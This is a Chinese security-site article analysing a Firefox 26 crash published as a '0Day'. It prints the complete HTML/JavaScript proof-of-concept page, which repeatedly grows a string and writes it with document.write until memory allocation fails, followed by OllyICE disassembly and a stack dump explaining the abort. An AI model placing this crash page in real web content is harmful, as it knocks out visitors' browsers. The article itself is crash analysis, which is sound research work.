频道栏目
首页 > 安全 > 系统安全 > 正文
Firefox Crash 0Day分析
2013-12-27 13:50:09         来源:freebuf.com  
收藏   我要投稿
今日,在binvul(这里)看到一个Firefox Crash 0Day,于是分析了一下崩溃点和崩溃原因,样本文件是一个html文件,内容如下(注意:注释是我自己添加上去的):
【样本文件】

<html>
<head>
<title>Mozilla Firefox Crash 0Day</title>
<body onload="javascript:coolkaveh();">
<script language="JavaScript">
function coolkaveh(){
    var buf = &#039;\x41\x41\x41&#039;
    for(i=0; i <= 800 ; ++i){
buf+=buf+buf            //Written by vscen:这里存在问题,字符串太长会导致内存分配失败,之后调用mozalloc.mozalloc_abort触发崩溃
        document.write(buf);   //Written by vscen:罪魁祸首
}
}
</script>
</head>
</body>
</html>

【相关环境】

分析工具:OllyICE
浏览器:Firefox 26.0.0.5087
操作系统:Windows

【分析过程】
分配document.write(buf)所需的字符串内存,如果分配内存失败则调用mozalloc.mozalloc_abort函数触发崩溃:

10004C15 >  56              push    esi                              ; mozglue.malloc
10004C16    8B7424 08       mov     esi, dword ptr [esp+8]
10004C1A    85F6            test    esi, esi
10004C1C    75 01           jnz     short 10004C1F
10004C1E    46              inc     esi
10004C1F    81FE 00F00F00   cmp     esi, 0FF000
10004C25    77 13           ja      short 10004C3A
10004C27    6A 00           push    0
10004C29    E8 60FDFFFF     call    1000498E    
10004C2E    8BC8            mov     ecx, eax
拷贝(buf)里面的字符串到分配的缓冲区:
0156265C    8BD7            mov     edx, edi
0156265E    2BD0            sub     edx, eax
01562660    52              push    edx
01562661    50              push    eax
01562662    8B06            mov     eax, dword ptr [esi]
01562664    53              push    ebx
01562665    E8 26130000     call    01563990
堆栈信息:
0012DDA8   00F61096  /CALL 到 malloc 来自 mozalloc.00F61094
0012DDAC   0048FB78  \size = 48FB78 (4782968.)
0012DDB0   001853D3
0012DDB4   110503E0
0012DDB8   01563B0A  返回到 xul.01563B0A 来自 mozalloc.moz_xmalloc
0012DDBC   0048FB78
0012DDC0   001853D3
0012DDC4   10F3A450
0012DDC8   00000041
0012DDCC   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012DDD0   00000000
0012DDD4   00000000
0012DDD8   0156266A  返回到 xul.0156266A 来自 xul.01563990
0012DDDC   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
0012DDE0   00000000
0012DDE4   00247DBC
0012DDE8   0012DE94
0012DDEC   10F3A450
0012DDF0   00000000
0012DDF4   11C00000  UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

【崩溃截图】
 
【最后结论】
字符串太长,导致分配内存失败,调用mozalloc.mozalloc_abort触发崩溃.
 
点击复制链接 与好友分享!回本站首页
相关TAG标签
上一篇:搜狗手机浏览器隐私泄露和主页篡改漏洞二合一(需要手机里有恶意应用)
下一篇:[小技巧]命令行下停用微软MSE杀软 无提示
相关文章
图文推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站